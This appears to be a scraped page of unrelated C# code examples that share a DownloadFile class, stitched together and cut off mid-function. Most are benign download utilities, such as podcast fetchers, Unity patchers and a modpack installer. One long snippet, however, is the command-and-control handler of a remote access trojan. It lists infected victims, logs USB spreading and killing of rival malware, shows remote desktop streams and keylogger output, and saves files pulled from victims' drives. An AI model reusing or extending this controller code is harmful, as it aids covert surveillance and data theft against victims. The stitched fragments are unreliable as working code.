public void Process()
        {
            GetFeedsWithGivenLabel getFeedsWithGivenLabel = new GetFeedsWithGivenLabel(_label);
            EnsureDownloadDirectoryForFeed ensureDownloadDirectoryForFeed = new EnsureDownloadDirectoryForFeed(_baseDirPath);
            ClearDirectoryOfFiles clearDirectoryOfFilesOlderThan = new ClearDirectoryOfFiles(_dateFormat, _deleteOlderFiles, _getFilesFromTheLastXDays);
            GetPodcastLinksFromFeed getPodcastLinksFromFeed = new GetPodcastLinksFromFeed(_reader, _getFilesFromTheLastXDays);
            GetRemoteAndLocalAddress getRemoteAndLocalAddress = new GetRemoteAndLocalAddress(link => link.PublishDate.ToString(_dateFormat) + "_" + link.Title.ToValidFileName() + ".mp3");
            FilterExistingFiles filterExistingFiles = new FilterExistingFiles();
            DownloadFile downloadFile1 = new DownloadFile();

            int totalDownloads = 0;

            getFeedsWithGivenLabel.Result += urlAndFeed => ensureDownloadDirectoryForFeed.Process(urlAndFeed.FeedTitle);
            getFeedsWithGivenLabel.Result += urlAndFeed => getPodcastLinksFromFeed.Process(urlAndFeed.Url);
            getFeedsWithGivenLabel.End += () => deleteEmptyDirs(_baseDirPath);

            ensureDownloadDirectoryForFeed.Result += clearDirectoryOfFilesOlderThan.Process;
            clearDirectoryOfFilesOlderThan.Result += getRemoteAndLocalAddress.ProcessDirPath;
            getPodcastLinksFromFeed.Result += getRemoteAndLocalAddress.ProcessPodcastLinkInformation;
            getRemoteAndLocalAddress.Result += filterExistingFiles.Process;
            filterExistingFiles.ResultForNotExistingFile += downloadFile1.Process;
            downloadFile1.Result += _ => totalDownloads++;

            getFeedsWithGivenLabel.OnFeedFound += s => _window.ShowTaskbarNotification("Checking Feed", string.Format("Address: {0}", s));
            downloadFile1.OnDownloadStarting += address => _window.ShowTaskbarNotification("Starting Download", string.Format("Local File: {0}", address.LocalAddress));
            //downloadFile1.OnDownloadFinished += address => _window.ShowTaskbarNotification("Finished Download", string.Format("Local File: {0}", address.LocalAddress));

            getFeedsWithGivenLabel.Process(_reader);

            _window.ShowTaskbarNotification("Alle Downloads fertig!", string.Format("Anzahl Downloads: {0}", totalDownloads), 1000);
        }
        public void GetTurnoTrancing(AsuntoNotificacionesViewModel _AsuntoViewModel, AsuntoModel _AsuntoModel)
        {
            try
            {
                Confirmation confirmacion = new Confirmation();
                DownloadFile download = new DownloadFile();
                this.DataContext = new TrancingAsuntoTurnoViewModel(_AsuntoViewModel, _AsuntoModel, confirmacion, download);

            }
            catch (Exception)
            {
                ;
            }
        }
Example #3
0
        //http://www.nbp.pl/banki_w_polsce/ewidencja/dz_bank_jorg.txt
        public FileInfo GetFile(string path)
        {
            string fileName = Path.GetFileName(path);
            FileInfo fi = new FileInfo(@"download/"+fileName);

            bool fileExist; //= Directory.Exists("download") && File.Exists("download/myfile.txt");
            fileExist = fi.Exists;

            if (!fileExist)
            {
                DownloadFile dw = new DownloadFile();
                fileExist = dw.Download(path);
            }

            return fi;
        }
        public static void Read(object Obj)
        {
            try
            {
                object[] array          = Obj as object[];
                byte[]   Data           = (byte[])array[0];
                Clients  Client         = (Clients)array[1];
                MsgPack  unpack_msgpack = new MsgPack();
                unpack_msgpack.DecodeFromBytes(Data);
                switch (unpack_msgpack.ForcePathObject("Packet").AsString)
                {
                case "ClientInfo":
                    if (Program.form1.listView1.InvokeRequired)
                    {
                        Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
                        {
                            Client.LV = new ListViewItem();
                            Client.LV.Tag = Client;
                            Client.LV.Text = string.Format("{0}:{1}", Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], Client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
                            string[] ipinf = cNewGeoUse.GetIpInf(Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
                            Client.LV.SubItems.Add(ipinf[1]);
                            Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
                            Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
                            Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
                            Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
                            Client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString;
                            Client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
                            Program.form1.listView1.Items.Insert(0, Client.LV);
                            lock (Settings.Online)
                            {
                                Settings.Online.Add(Client);
                            }
                        }));
                        HandleLogs.Addmsg($"Client {Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
                    }
                    break;

                case "Ping":
                {
                    Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
                }
                break;

                case "Logs":
                {
                    HandleLogs.Addmsg(unpack_msgpack.ForcePathObject("Message").AsString, Color.Black);
                }
                break;


                case "BotKiller":
                {
                    HandleLogs.Addmsg($"Client {Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange);
                }
                break;


                case "usbSpread":
                {
                    HandleLogs.Addmsg($"Client {Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple);
                }
                break;

                case "Received":
                {
                    if (Program.form1.listView1.InvokeRequired)
                    {
                        Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
                            {
                                Client.LV.ForeColor = Color.Empty;
                            }));
                    }
                }
                break;

                case "remoteDesktop":
                {
                    if (Program.form1.InvokeRequired)
                    {
                        Program.form1.BeginInvoke((MethodInvoker)(() =>
                            {
                                RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + Client.ID];
                                try
                                {
                                    if (RD != null && RD.Active == true)
                                    {
                                        byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
                                        Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));

                                        if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
                                        {
                                            RD.pictureBox1.Image = (Bitmap)decoded;
                                            RD.RenderSW = Stopwatch.StartNew();
                                        }
                                        RD.FPS++;
                                        if (RD.sw.ElapsedMilliseconds >= 1000)
                                        {
                                            RD.Text = "RemoteDesktop:" + Client.ID + "    FPS:" + RD.FPS + "    Screen:" + decoded.Width + " x " + decoded.Height + "    Size:" + Methods.BytesToString(RdpStream.Length);
                                            RD.FPS = 0;
                                            RD.sw = Stopwatch.StartNew();
                                        }
                                    }
                                    else
                                    {
                                        MsgPack msgpack = new MsgPack();
                                        msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                                        msgpack.ForcePathObject("Option").AsString = "false";
                                        Client.BeginSend(msgpack.Encode2Bytes());
                                    }
                                }
                                catch (Exception ex) { Debug.WriteLine(ex.Message); }
                            }));
                    }
                }
                break;

                case "processManager":
                {
                    if (Program.form1.InvokeRequired)
                    {
                        Program.form1.BeginInvoke((MethodInvoker)(() =>
                            {
                                ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + Client.ID];
                                if (PM != null)
                                {
                                    PM.listView1.Items.Clear();
                                    string AllProcess = unpack_msgpack.ForcePathObject("Message").AsString;
                                    string data = AllProcess.ToString();
                                    string[] _NextProc = data.Split(new[] { "-=>" }, StringSplitOptions.None);
                                    for (int i = 0; i < _NextProc.Length; i++)
                                    {
                                        if (_NextProc[i].Length > 0)
                                        {
                                            ListViewItem lv = new ListViewItem();
                                            lv.Text = Path.GetFileName(_NextProc[i]);
                                            lv.SubItems.Add(_NextProc[i + 1]);
                                            lv.ToolTipText = _NextProc[i];
                                            Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2])));
                                            PM.imageList1.Images.Add(_NextProc[i + 1], im);
                                            lv.ImageKey = _NextProc[i + 1];
                                            PM.listView1.Items.Add(lv);
                                        }
                                        i += 2;
                                    }
                                }
                            }));
                    }
                }
                break;


                case "socketDownload":
                {
                    switch (unpack_msgpack.ForcePathObject("Command").AsString)
                    {
                    case "pre":
                    {
                        if (Program.form1.InvokeRequired)
                        {
                            Program.form1.BeginInvoke((MethodInvoker)(() =>
                                    {
                                        string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
                                        string file = unpack_msgpack.ForcePathObject("File").AsString;
                                        string size = unpack_msgpack.ForcePathObject("Size").AsString;
                                        DownloadFile SD = (DownloadFile)Application.OpenForms["socketDownload:" + dwid];
                                        if (SD != null)
                                        {
                                            SD.C = Client;
                                            SD.labelfile.Text = Path.GetFileName(file);
                                            SD.dSize = Convert.ToInt64(size);
                                            SD.timer1.Start();
                                        }
                                    }));
                        }
                    }
                    break;

                    case "save":
                    {
                        if (Program.form1.InvokeRequired)
                        {
                            Program.form1.BeginInvoke((MethodInvoker)(() =>
                                    {
                                        string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
                                        DownloadFile SD = (DownloadFile)Application.OpenForms["socketDownload:" + dwid];
                                        if (SD != null)
                                        {
                                            if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
                                            {
                                                Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")));
                                            }

                                            unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString));
                                        }
                                    }));
                        }
                    }
                    break;
                    }
                    break;
                }

                case "keyLogger":
                {
                    if (Program.form1.InvokeRequired)
                    {
                        Program.form1.BeginInvoke((MethodInvoker)(() =>
                            {
                                Keylogger KL = (Keylogger)Application.OpenForms["keyLogger:" + Client.ID];
                                if (KL != null)
                                {
                                    KL.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Log").GetAsString());
                                }
                                else
                                {
                                    MsgPack msgpack = new MsgPack();
                                    msgpack.ForcePathObject("Packet").AsString = "keyLogger";
                                    msgpack.ForcePathObject("isON").AsString = "false";
                                    Client.BeginSend(msgpack.Encode2Bytes());
                                }
                            }));
                    }
                    break;
                }

                case "fileManager":
                {
                    switch (unpack_msgpack.ForcePathObject("Command").AsString)
                    {
                    case "getDrivers":
                    {
                        if (Program.form1.InvokeRequired)
                        {
                            Program.form1.BeginInvoke((MethodInvoker)(() =>
                                    {
                                        FileManager FM = (FileManager)Application.OpenForms["fileManager:" + Client.ID];
                                        if (FM != null)
                                        {
                                            FM.listView1.Items.Clear();
                                            string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
                                            for (int i = 0; i < driver.Length; i++)
                                            {
                                                if (driver[i].Length > 0)
                                                {
                                                    ListViewItem lv = new ListViewItem();
                                                    lv.Text = driver[i];
                                                    lv.ToolTipText = driver[i];
                                                    if (driver[i + 1] == "Fixed")
                                                    {
                                                        lv.ImageIndex = 1;
                                                    }
                                                    else if (driver[i + 1] == "Removable")
                                                    {
                                                        lv.ImageIndex = 2;
                                                    }
                                                    else
                                                    {
                                                        lv.ImageIndex = 1;
                                                    }
                                                    FM.listView1.Items.Add(lv);
                                                }
                                                i += 1;
                                            }
                                        }
                                    }));
                        }
                    }
                    break;

                    case "getPath":
                    {
                        if (Program.form1.InvokeRequired)
                        {
                            Program.form1.BeginInvoke((MethodInvoker)(() =>
                                    {
                                        FileManager FM = (FileManager)Application.OpenForms["fileManager:" + Client.ID];
                                        if (FM != null)
                                        {
                                            FM.listView1.Items.Clear();
                                            FM.listView1.Groups.Clear();
                                            string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
                                            ListViewGroup groupFolder = new ListViewGroup("Folders");
                                            FM.listView1.Groups.Add(groupFolder);
                                            int numFolders = 0;
                                            for (int i = 0; i < _folder.Length; i++)
                                            {
                                                if (_folder[i].Length > 0)
                                                {
                                                    ListViewItem lv = new ListViewItem();
                                                    lv.Text = _folder[i];
                                                    lv.ToolTipText = _folder[i + 1];
                                                    lv.Group = groupFolder;
                                                    lv.ImageIndex = 0;
                                                    FM.listView1.Items.Add(lv);
                                                    numFolders += 1;
                                                }
                                                i += 1;
                                            }

                                            string[] _file = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
                                            ListViewGroup groupFile = new ListViewGroup("Files");
                                            FM.listView1.Groups.Add(groupFile);
                                            int numFiles = 0;
                                            for (int i = 0; i < _file.Length; i++)
                                            {
                                                if (_file[i].Length > 0)
                                                {
                                                    ListViewItem lv = new ListViewItem();
                                                    lv.Text = Path.GetFileName(_file[i]);
                                                    lv.ToolTipText = _file[i + 1];
                                                    Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_file[i + 2])));
                                                    FM.imageList1.Images.Add(_file[i + 1], im);
                                                    lv.ImageKey = _file[i + 1];
                                                    lv.Group = groupFile;
                                                    lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_file[i + 3])));
                                                    FM.listView1.Items.Add(lv);
                                                    numFiles += 1;
                                                }
                                                i += 3;
                                            }
                                            FM.toolStripStatusLabel2.Text = $"       Folder[{numFolders.ToString()}]   Files[{numFiles.ToString()}]";
                                        }
                                    }));
                        }
                    }
                    break;
                    }
                    break;
                }
                }
            }

            catch (Exception ex)
            {
                Debug.WriteLine(ex.Message);
            }
        }
        // Callback function for list of files
        private void DownloadDataCompleteCb(object sender, DownloadDataCompletedEventArgs ar)
        {
            mutex_.WaitOne();

            bool failed = false;
            try
            {
                if (ar.Error != null)
                {
                    Debug.Log("Exception Error: " + ar.Error);
                    DebugUtils.Assert(false);
                    failed = true;
                }
                else
                {
                    // It can be null when CancelAsync() called in Stop().
                    if (ar.Result == null)
                    return;

                    state_ = State.Downloading;

                    // Parse json
                    string data = Encoding.ASCII.GetString(ar.Result);
                    Dictionary<string, object> json = Json.Deserialize(data) as Dictionary<string, object>;

                    //Debug.Log("Json data >>  " + data);

                    // Redirect url
                    if (json.ContainsKey("url"))
                    {
                        string url = json["url"] as string;
                        if (url[url.Length - 1] != '/')
                            url += "/";

                        host_url_ = url;
                        Debug.Log("Download url : " + host_url_);
                    }

                    List<object> list = json["data"] as List<object>;
                    if (list.Count <= 0)
                    {
                        Debug.Log("Invalid list data. List count is 0.");
                        DebugUtils.Assert(false);
                        failed = true;
                    }
                    else
                    {
                        foreach (Dictionary<string, object> node in list)
                        {
                            DownloadFile info = new DownloadFile();
                            info.path = node["path"] as string;
                            info.md5 = node["md5"] as string;

                            download_list_.Add(info);
                        }

                        // Check files
                        CheckFileList(download_list_);

                        total_download_count_ = download_list_.Count;
                        if (total_download_count_ > 0)
                            Debug.Log(string.Format("Start downloading {0} files..", total_download_count_));

                        // Download file.
                        DownloadResourceFile();
                    }
                }
            }
            catch (Exception e)
            {
                Debug.Log("Failure in DownloadDataCompleteCb: " + e.ToString());
                failed = true;
            }
            finally
            {
                mutex_.ReleaseMutex();
            }

            if (failed)
            {
                Stop();
            }
        }
Example #6
0
    IEnumerator StartDownloadFile()
    {
        while (state == DownloadState.Downloading && downloadList.Count > 0)
        {
            DownloadFile file = downloadList[0];
            file.state = DownloadState.Downloading;
            Debug.Log("FileDownloader >> Start Download:" + file.url);
            if (onFileDownloadStart != null)
            {
                onFileDownloadStart(this, file.url);
            }

            m_uwr = new UnityWebRequest(file.url);
            m_uwr.downloadHandler = new DownloadHandlerFile(file.savePath);
            m_uwr.timeout         = m_timeout;
            yield return(m_uwr.SendWebRequest());

            if (m_uwr.isNetworkError || m_uwr.isHttpError)
            {
                if (m_currentRetryTimes < m_retrytimes)
                {
                    ++m_currentRetryTimes;
                    Debug.Log("retry_time:" + m_currentRetryTimes);
                    continue;
                }
                m_currentRetryTimes = 0;
                if (m_uwr.isNetworkError)
                {
                    file.ChangeStateTo(DownloadState.NetworkError);
                    ChangeStateTo(DownloadState.NetworkError);
                    break;
                }

                if (m_uwr.isHttpError)
                {
                    file.ChangeStateTo(DownloadState.HttpError);
                    ChangeStateTo(DownloadState.HttpError);
                    break;
                }
            }

            if (m_uwr.isDone)
            {
                m_currentRetryTimes   = 0;
                file.state            = DownloadState.Finish;
                m_downloadedFileSize += (m_uwr.downloadedBytes / 1024);
                if (onFileDownloadFinish != null)
                {
                    onFileDownloadFinish(this, file.url);
                }

                downloadList.RemoveAt(0);
                yield return(null);
            }
        }

        if (downloadList.Count == 0)
        {
            m_uwr.Dispose();
            ChangeStateTo(DownloadState.Finish);
        }

        yield return(null);
    }
Example #7
0
        public async Task InstallTaskAsync()
        {
            InvokeStatusChangedEvent("开始安装", 0);

            var manifest = await ReadManifestTask();

            var idPath       = Path.Combine(RootPath, GamePathHelper.GetGamePath(GameId));
            var downloadPath = Path.Combine(Path.GetFullPath(idPath), "mods");

            var di = new DirectoryInfo(downloadPath);

            if (!di.Exists)
            {
                di.Create();
            }

            _needToDownload = manifest.Files.Count;

            var urlBlock = new TransformManyBlock <IEnumerable <CurseForgeFileModel>, ValueTuple <long, long> >(urls =>
            {
                return(urls.Select(file => (file.ProjectId, file.FileId)));
            });

            var actionBlock = new ActionBlock <ValueTuple <long, long> >(async t =>
            {
                var downloadUrlRes = await CurseForgeAPIHelper.GetAddonDownloadUrl(t.Item1, t.Item2);
                var d  = downloadUrlRes.Trim('"');
                var fn = Path.GetFileName(d);

                var downloadFile = new DownloadFile
                {
                    Completed = (_, args) =>
                    {
                        _totalDownloaded++;
                        _isModAllDownloaded = _isModAllDownloaded && (args.Success ?? false);

                        // if (!args.Success)
                        //     throw args.Error;

                        var progress = (double)_totalDownloaded / _needToDownload * 100;

                        InvokeStatusChangedEvent($"下载整合包中的 Mods - {fn} ({_totalDownloaded} / {_needToDownload})",
                                                 progress);
                    },
                    DownloadPath = di.FullName,
                    DownloadUri  = d,
                    FileName     = fn
                                   // Host = "proxy.freecdn.workers.dev"
                };

                await DownloadHelper.DownloadData(downloadFile);
            }, new ExecutionDataflowBlockOptions
            {
                BoundedCapacity        = 32,
                MaxDegreeOfParallelism = 32
            });

            var linkOptions = new DataflowLinkOptions {
                PropagateCompletion = true
            };

            urlBlock.LinkTo(actionBlock, linkOptions);
            urlBlock.Post(manifest.Files);
            urlBlock.Complete();

            await actionBlock.Completion;

            _totalDownloaded = 0;

            if (!_isModAllDownloaded)
            {
                throw new NullReferenceException("未能下载全部的 Mods");
            }

            using var archive = ArchiveFactory.Open(Path.GetFullPath(ModPackPath));

            _totalDownloaded = 0;
            _needToDownload  = archive.Entries.Count();

            foreach (var entry in archive.Entries)
            {
                if (!entry.Key.StartsWith(manifest.Overrides, StringComparison.OrdinalIgnoreCase))
                {
                    continue;
                }

                var subPath = entry.Key[(manifest.Overrides.Length + 1)..].Replace('/', '\\');
Example #8
0
 public DownloadFileCompletedEventArgs(bool success, Exception ex, DownloadFile file)
 {
     Success = success;
     Error   = ex;
     File    = file;
 }
        public async void DownloadAction()
        {
            Progress <DownloadOperation> progress = null;

            if (Url == null || Url == "")
            {
                ContentDialog notFoundLinkFileDialog = new ContentDialog()
                {
                    Title             = resourceMap.GetValue("titleErrorDownloadFileDialog", resourceContext).ValueAsString,
                    Content           = resourceMap.GetValue("contentErrorDownloadFileDialog", resourceContext).ValueAsString,
                    PrimaryButtonText = "ОК"
                };
                ContentDialogResult result = await notFoundLinkFileDialog.ShowAsync();

                return;
            }
            FolderPicker folderPicker = new FolderPicker
            {
                SuggestedStartLocation = PickerLocationId.Downloads,
                ViewMode = PickerViewMode.Thumbnail
            };

            folderPicker.FileTypeFilter.Add("*");

            StorageFolder folder = await folderPicker.PickSingleFolderAsync();

            if (folder != null)
            {
                Uri         downloadUrl = new Uri(Url);
                String      fileName    = Path.GetFileName(downloadUrl.ToString());
                var         request     = HttpWebRequest.Create(downloadUrl) as HttpWebRequest;
                StorageFile file        = await folder.CreateFileAsync(fileName, CreationCollisionOption.GenerateUniqueName);

                downloadOperation = backgroundDownloader.CreateDownload(downloadUrl, file);
                progress          = new Progress <DownloadOperation>(x => ProgressChanged(downloadOperation));
                cancellationToken = new CancellationTokenSource();
                try
                {
                    DownloadFile newFile = new DownloadFile
                    {
                        Id   = downloadOperation.Guid,
                        Name = fileName
                    };
                    toastNotification.SendUpdatableToastWithProgress(newFile.Name);
                    newFile.FileSize    = (downloadOperation.Progress.TotalBytesToReceive / 1024).ToString() + " kb";
                    newFile.DateTime    = DateTime.Now;
                    newFile.Type        = FType;
                    newFile.Description = Description;
                    newFile.Status      = Status;
                    Files.Add(newFile);
                    await downloadOperation.StartAsync().AsTask(cancellationToken.Token, progress);

                    if (downloadOperation.Progress.Status == BackgroundTransferStatus.Completed)
                    {
                        toastNotification.SendCompletedToast(fileName);
                        dataStorage.Save(Files);
                        UpdateTileAction();
                    }
                    IsEnableButtons = false;
                    Url             = Description = "";
                    FType           = FileType.None;
                }
                catch (TaskCanceledException)
                {
                    Status = resourceMap.GetValue("canceledStatus", resourceContext).ValueAsString;
                    await downloadOperation.ResultFile.DeleteAsync();

                    downloadOperation = null;
                }
                catch (Exception)
                {
                    Status = "File not found";
                    var messageDialog = new MessageDialog("No internet connection has been found.");
                    await downloadOperation.ResultFile.DeleteAsync();

                    downloadOperation = null;
                }
            }
        }
 public void EnqueueFile(DownloadFile file) => _downloadQueue.Enqueue(file);
 public DownloadFileResponse Get(DownloadFile fileInfo)
 {
     return(new DownloadFileResponse {
         Result = _fileExchange.DownloadFiles(fileInfo.download)
     });
 }
Example #12
0
        public static async Task MultiPartDownloadTaskAsync(DownloadFile downloadFile, int numberOfParts = 8)
        {
            if (downloadFile == null)
            {
                return;
            }

            //Handle number of parallel downloads
            if (numberOfParts <= 0)
            {
                numberOfParts = Environment.ProcessorCount;
            }

            try
            {
                #region Get file size

                var webRequest = (HttpWebRequest)WebRequest.Create(new Uri(downloadFile.DownloadUri));
                webRequest.Method    = "HEAD";
                webRequest.UserAgent = Ua;
                long responseLength;
                bool parallelDownloadSupported;

                using (var webResponse = await webRequest.GetResponseAsync().ConfigureAwait(false))
                {
                    parallelDownloadSupported = webResponse.Headers.Get("Accept-Ranges")?.Contains("bytes") ?? false;
                    responseLength            = long.TryParse(webResponse.Headers.Get("Content-Length"), out var l) ? l : 0;
                    parallelDownloadSupported = parallelDownloadSupported && responseLength != 0;
                }

                if (!parallelDownloadSupported)
                {
                    DownloadData(downloadFile);
                    return;
                }

                #endregion

                if (File.Exists(downloadFile.DownloadPath))
                {
                    File.Delete(downloadFile.DownloadPath);
                }

                var tempFilesDictionary = new ConcurrentDictionary <int, byte[]>();

                #region Calculate ranges

                var readRanges = new List <DownloadRange>();
                var partSize   = (long)Math.Ceiling((double)responseLength / numberOfParts);

                for (var i = 0; i < numberOfParts; i++)
                {
                    var start = i * partSize + Math.Min(1, i);
                    var end   = Math.Min((i + 1) * partSize, responseLength);

                    readRanges.Add(new DownloadRange
                    {
                        End   = end,
                        Start = start,
                        Index = i
                    });
                }

                #endregion

                #region Parallel download

                var downloadParts = 0;
                Parallel.ForEach(readRanges, (range, state) =>
                {
                    try
                    {
                        using var client = new WebClient
                              {
                                  DownloadRange = range,
                                  Timeout       = 10000
                              };
                        client.Headers.Add("user-agent", Ua);

                        var data = client.DownloadData(new Uri(downloadFile.DownloadUri));
                        if (!tempFilesDictionary.TryAdd(range.Index, data))
                        {
                            return;
                        }
                        downloadParts++;
                        downloadFile.Changed?.Invoke(client,
                                                     new DownloadFileChangedEventArgs {
                            ProgressPercentage = (double)downloadParts / numberOfParts
                        });
                    }
                    catch (Exception e)
                    {
                        Console.WriteLine(e);
                        state.Stop();
                    }
                });

                #endregion

                #region Merge to single file

                var bytes = new List <byte>();

                if (tempFilesDictionary.Count != readRanges.Count)
                {
                    downloadFile.Completed?.Invoke(null,
                                                   new DownloadFileCompletedEventArgs(false, null, downloadFile));
                    return;
                }

                foreach (var downloadedBytes in tempFilesDictionary.OrderBy(b => b.Key))
                {
                    bytes.AddRange(downloadedBytes.Value);
                }

                if (bytes.Count != responseLength)
                {
                    downloadFile.Completed?.Invoke(null,
                                                   new DownloadFileCompletedEventArgs(false, null, downloadFile));
                    return;
                }

                using var s = new MemoryStream(bytes.ToArray());
                FileHelper.SaveBinaryFile(s, downloadFile.DownloadPath);

                #endregion

                downloadFile.Completed?.Invoke(null,
                                               new DownloadFileCompletedEventArgs(true, null, downloadFile));
            }
            catch (Exception ex)
            {
                downloadFile.Completed?.Invoke(null,
                                               new DownloadFileCompletedEventArgs(false, ex, downloadFile));
            }
        }
Example #13
0
    // 开始更新
    IEnumerator UpdateResource(int remoteVer)
    {
        // 更新过程中,每秒都需要进行网络检查
        StartCoroutine(OnCheckNetwork());

        // 下载地址
        string downloadURL = AppConst.updateHost + AppConst.platformName + "/" + remoteVer + "/";

        /*********************************************/
        // 本地资源文件表
        /*********************************************/
        Dictionary <string, DownloadFile> localFileList = new Dictionary <string, DownloadFile>();
        // 读取本地文件列表
        TextAsset filelistData = ResourceManager.instance.LoadAsset <TextAsset>("filelist", "filelist");

        if (filelistData == null)
        {
            Debugger.LogError("<Update> 无法读取本地文件列表!");
            yield break;
        }
        UnpackFileList(filelistData, localFileList);
        ResourceManager.instance.UnloadAssetBundle("filelist", true);

        /*********************************************/
        // 远端资源文件表
        /*********************************************/
        Dictionary <string, DownloadFile> remoteFileList = new Dictionary <string, DownloadFile>();
        // 获取服务器文件列表
        WWW fileListWWW = new WWW(downloadURL + "filelist");

        yield return(fileListWWW);

        if (fileListWWW.error != null)
        {
            Debugger.LogError("<Update> 无法获取远端文件列表:" + fileListWWW.error);
            yield break;
        }
        AssetBundle remoteFilelistAB = AssetBundle.LoadFromMemory(fileListWWW.bytes);

        UnpackFileList(remoteFilelistAB.LoadAsset <TextAsset>("filelist"), remoteFileList);
        remoteFilelistAB.Unload(true);

        /*********************************************/
        // 开始比较差异,生成下载列表
        /*********************************************/
        List <DownloadFile> downloadList = new List <DownloadFile>();

        foreach (var remoteFile in remoteFileList)
        {
            bool         isNeedDownload = false;
            DownloadFile localFile;
            if (!localFileList.TryGetValue(remoteFile.Key, out localFile))
            {
                // 不存在文件,下载!
                isNeedDownload = true;
                Debugger.Log("<Download> [" + remoteFile.Key + "] 不存在,Download!");
            }
            else
            {
                if (localFile.size != remoteFile.Value.size)
                {
                    // 大小不一致,下载
                    isNeedDownload = true;
                    Debugger.Log("<Download> [" + remoteFile.Key + "] 大小不一致,Download!");
                }
                else
                {
                    if (!localFile.md5.Equals(remoteFile.Value.md5))
                    {
                        // MD5不一致,下载
                        isNeedDownload = true;
                        Debugger.Log("<Download> [" + remoteFile.Key + "] MD5不一致,Download!");
                    }
                }
            }

            // 如果需要更新
            if (isNeedDownload)
            {
                downloadList.Add(remoteFile.Value);
                _downloadTotalSize += remoteFile.Value.size;
            }
        }

        Debugger.Log("<Download> 下载文件总大小:" + _downloadTotalSize);
        // 如果是wifi下载不提示
        if (Application.platform == RuntimePlatform.WindowsEditor || Application.internetReachability == NetworkReachability.ReachableViaLocalAreaNetwork)
        {
        }
        else
        {
            // 询问玩家是否下载
        }

        /*********************************************/
        // 开始下载
        /*********************************************/
        // 下载文件夹
        string downloadPath = AppConst.resourcesPath + "Download/";

        if (downloadList.Count > 0)
        {
            if (!Directory.Exists(downloadPath))
            {
                Directory.CreateDirectory(downloadPath);
            }
            //通知显示界面
            _downLoadFileNum = downloadList.Count;
            UpdateProgress(1);
        }

        // 下载文件
        for (int i = 0; i < downloadList.Count; i++)
        {
            DownloadFile downloadFile = downloadList[i];

            bool downloadFinish = false;
            while (!downloadFinish)
            {
                // 启动下载文件
                Download(downloadURL, downloadPath + downloadFile.name);
                // 等待下载完成
                while (!_downloadedFiles.Contains(downloadFile.name))
                {
                    yield return(new WaitForEndOfFrame());
                }

                // 没下下来
                string finishedFile = downloadPath + downloadFile.name;
                if (!File.Exists(finishedFile))
                {
                    Debugger.Log("<Download> 下载失败:" + downloadFile.name);
                    _downloadedFiles.Remove(downloadFile.name);
                    continue;
                }

                // MD5检查
                if (!downloadFile.md5.Equals(Utils.md5file(finishedFile)))
                {
                    // 下载文件损坏,重新下载
                    Debugger.Log("<Download> 下载文件损坏:" + downloadFile.name);
                    _downloadedFiles.Remove(downloadFile.name);
                    continue;
                }

                // 下载成功
                Debugger.Log("<Download> 下载成功:" + downloadFile.name);
                downloadFinish = true;

                //通知显示界面
                UpdateProgress(1);
            }
        }

        // 更新完毕之后将临时补丁文件夹内容拷贝到正式本地目录
        if (downloadList.Count > 0)
        {
            // 拷贝所有文件
            FileUtil.CopyDir(downloadPath, AppConst.resourcesPath);
            Directory.Delete(downloadPath, true);

            // 写入文件列表
            using (StreamWriter sw = new StreamWriter(AppConst.resourcesPath + "filelist"))
            {
                sw.Write(fileListWWW.bytes);
                sw.Close();
            }

            // 更新程序资源版本文件
            ConfigHandler localVerConfig = new ConfigHandler();
            localVerConfig.Open(AppConst.configPath + "version.txt");
            localVerConfig.WriteValue("Resource_Version", remoteVer);
            Debugger.Log("<Update> 更新资源至:" + remoteVer);
        }

        // 更新完成
        _isFinish = true;
    }
        protected void btnExport_Click(object sender, EventArgs e)
        {
            string sql = "select WG_CODE as '单号',DocName as '制单人',WG_DATE as '制单日期','入库单' as '单据类型' from View_SM_INTotal where WG_STATE='1' AND WG_VERIFYDATE<=convert(varchar(50),getdate(),120)";

            sql += " union all ";
            sql += " select cast(id as varchar(50)) as '单号',Doc as '制单人',Date as '制单日期','出库单' as '单据类型' from View_SM_OUTTotal where OP_STATE='1' AND ApprovedDate<=convert(varchar(50),getdate(),120)";


            System.Data.DataTable dt = DBCallCommon.GetDTUsingSqlText(sql);

